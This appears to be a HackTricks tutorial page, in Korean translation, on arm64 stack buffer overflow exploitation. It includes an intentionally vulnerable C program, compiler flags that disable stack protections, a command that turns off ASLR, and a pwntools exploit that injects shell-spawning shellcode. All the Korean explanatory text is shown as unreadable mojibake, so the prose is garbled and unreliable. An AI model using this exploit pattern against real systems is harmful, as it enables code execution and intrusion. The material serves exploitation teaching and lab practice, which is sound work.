Stack Shellcode - arm64
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
arm64์ ๋ํ ์๊ฐ๋ ๋ค์์์ ์ฐพ์ ์ ์์ต๋๋ค:
Linux
Code
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie, canary ๋ฐ nx ์์ด ์ปดํ์ผ:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
ASLR ์์ & canary ์์ - Stack Overflow
ASLR๋ฅผ ์ค์งํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
bof์ offset์ ํ์ธํ๋ ค๋ฉด ์ด ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
์ฌ๊ธฐ์ ์ฐพ๊ธฐ โ๋ณต์กํโ ์ ์ผํ ๋ถ๋ถ์ ํธ์ถํ stack์ ์ฃผ์์ ๋๋ค. ์ ๊ฒฝ์ฐ์๋ gdb๋ก ์ฐพ์ ์ฃผ์๋ก exploit์ ์์ฑํ์ง๋ง, ์ค์ ๋ก ์คํํด๋ณด๋ ์๋ํ์ง ์์์ต๋๋ค(์๋ํ๋ฉด stack ์ฃผ์๊ฐ ์ฝ๊ฐ ๋ฐ๋์๊ธฐ ๋๋ฌธ์ ๋๋ค).
์์ฑ๋ core file (gdb ./bog ./core)์ ์ด์ด shellcode ์์์ ์ค์ ์ฃผ์๋ฅผ ํ์ธํ์ต๋๋ค.
macOS
Tip
macOS์์๋ NX๋ฅผ ๋นํ์ฑํํ ์ ์์ต๋๋ค. arm64์์๋ ์ด ๋ชจ๋๊ฐ ํ๋์จ์ด ์์ค์์ ๊ตฌํ๋์ด ์์ด ๋นํ์ฑํํ ์ ์์ผ๋ฏ๋ก macOS์์๋ stack์ shellcode๊ฐ ์๋ ์์ ๋ฅผ ์ฐพ๊ธฐ ์ด๋ ต์ต๋๋ค.
๋ค์์์ macOS ret2win ์์ ๋ฅผ ํ์ธํ์ธ์:
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


